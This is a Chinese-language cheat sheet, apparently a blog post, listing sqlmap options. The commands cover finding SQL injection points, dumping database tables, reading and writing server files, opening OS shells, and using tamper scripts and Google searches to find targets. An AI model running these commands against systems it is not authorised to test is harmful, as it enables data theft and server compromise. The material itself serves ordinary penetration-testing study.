116194288329089125
前言
sqlmap is a software utility for automated discovering of SQL injection vulnerabilities in web applications.(维基百科)
SQL注入
-u <url>:指定URL
--batch:将交互式语句均回答是
--data "":指定请求体
--cookie="":指定Cookie
--random-agent:随机User-Agent
--proxy="http://127.0.0.1:80":配置代理
--level=1:注入点位置
1:缺省值,请求参数中寻找注入点
2:Cookie中寻找注入点
3:User-Agent或Referer中寻找注入点
-v 1:日志级别
0:只显示Python报错
1:缺省值,同时显示基本信息和警告信息
2:同时显示Debug信息
3:同时显示注入的Payload信息
4:同时显示请求信息
5:同时显示响应头
6:同时显示响应信息
--tamper=space2comment:替换占位符
-r <file>:指定请求文件,可以直接使用Burp导出的请求文件
手动指定注入点
- 使用
*手动指定注入点位置,如果没有手动指定注入点位置,会检测所有可能的注入点
1
| sqlmap -u <url>?key=value*
|
1
| sqlmap -u <url> --data "key=value*"
|
request1 2 3 4
| POST http://127.0.0.1:80/ Content-Type: application/json
{"key": "value*"}
|
拖库
--start 1:从第1条数据开始查询
--stop 20:到第20条数据停止查询
获取当前数据库名
--purge:清除缓存
1
| sqlmap -u <url> --current-db
|
获取所有数据库名
获取所有数据表名
-D <database_name>:指定数据库名
1
| sqlmap -u <url> --tables -D <database_name>
|
获取所有字段名
-T <table_name>:指定数据表名
1
| sqlmap -u <url> --columns -D <database_name> -T <table_name>
|
获取数据
获取所有字段的数据
1
| sqlmap -u <url> --dump -D <database_name> -T <table_name>
|
获取指定字段的数据
1
| sqlmap -u <url> --dump -D <database_name> -T <table_name> -C <field_1>,<field_2>
|
获取所有数据库的所有数据表的所有数据
1
| sqlmap -u <url> --dump-all
|
文件读写
判断当前用户是否有文件读写权限
判断是否是数据库管理员
1
| sqlmap -u <url> --is-dba
|
获取文件读写权限
1
| sqlmap -u <url> --privileges
|
文件读取
1
| sqlmap -u <url> --file-read "/<file>"
|
写文件
<file_local>:本地文件路径
<file_remote>:远端文件存储路径
1
| sqlmap -u <url> --file-write "<file_local>" --file-dest "<file_remote>"
|
获取Shell
执行一条Shell命令
<shell>:Shell命令
1
| sqlmap -u <url> --os-cmd=<shell>
|
交互式Shell
1
| sqlmap -u <url> --os-shell
|
使用脚本注入
- 所有脚本传参时都可以省略
.py
- 在
tamper目录下可以添加自定义脚本
编码为Base64
1
| sqlmap -u <url> --tamper=base64encode.py
|
宽子节注入
1
| sqlmap -u <url> --tamper=unmagicquotes.py
|
利用Google自动搜索注入点
完成
参考文献
哔哩哔哩——千锋网络安
哔哩哔哩——逆风微笑的代码狗